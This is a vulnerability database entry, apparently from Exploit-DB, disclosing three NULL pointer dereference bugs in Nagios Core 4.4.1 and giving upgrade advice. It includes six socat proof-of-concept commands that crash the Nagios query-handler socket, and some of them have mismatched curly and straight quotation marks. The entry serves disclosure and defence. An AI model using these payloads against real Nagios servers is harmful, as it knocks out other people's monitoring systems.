Nagios Core Multiple Local Denial of Service

vendor:

Nagios Core

by:

Fakhri Zulkifli

5.5

CVSS

MEDIUM

NULL pointer dereference vulnerability

476

CWE

Product Name: Nagios Core

Affected Version From: 4.4.1

Affected Version To: 4.4.1

Patch Exists: YES

Related CWE: CVE-2018-13458, CVE-2018-13457, CVE-2018-13441

CPE: a:nagios:nagios_core

Metasploit: https://www.rapid7.com/db/vulnerabilities/suse-cve-2018-13458/, https://www.rapid7.com/db/vulnerabilities/suse-cve-2018-13457/, https://www.rapid7.com/db/vulnerabilities/suse-cve-2018-13441/

Other Scripts: https://www.infosecmatter.com/nessus-plugin-library/?id=121443, https://www.infosecmatter.com/nessus-plugin-library/?id=121442, https://www.infosecmatter.com/nessus-plugin-library/?id=106439

Platforms Tested: 4.4.1

2018

Nagios Core Multiple Local Denial of Service

qh_core, qh_help, and qh_echo in Nagios Core 4.4.1 and earlier is prone to a NULL pointer dereference vulnerability, which allows attackers to cause a local denial-of-service condition by sending a crafted payload to the listening UNIX socket.

Mitigation:

Upgrade to the latest version of Nagios Core

Source

Exploit-DB raw data:

# Exploit Title: Nagios Core Multiple Local Denial of Service
# Date: 2018-07-09
# Exploit Author: Fakhri Zulkifli (@d0lph1n98)
# Vendor Homepage: https://www.nagios.org/
# Software Link: https://www.nagios.org/downloads/nagios-core/
# Version: 4.4.1 and earlier
# Tested on: 4.4.1


qh_core, qh_help, and qh_echo in Nagios Core 4.4.1 and earlier is prone to a NULL pointer dereference vulnerability, which allows attackers to cause a local denial-of-service condition by sending a crafted payload to the listening UNIX socket.

1. [CVE-2018-13458] qh_core

$ echo -ne “#core\0" | socat unix-connect:./poc/nagios.qh -
$ echo -ne “@core\0" | socat unix-connect:./poc/nagios.qh -

2. [CVE-2018-13457] qh_echo

$ echo -ne "#echo\0" | socat unix-connect:./poc/nagios.qh -
$ echo -ne “@echo\0" | socat unix-connect:./poc/nagios.qh -

3. [CVE-2018-13441] qh_help

$ echo -ne “#help\0" | socat unix-connect:./poc/nagios.qh -
$ echo -ne “@help\0" | socat unix-connect:./poc/nagios.qh -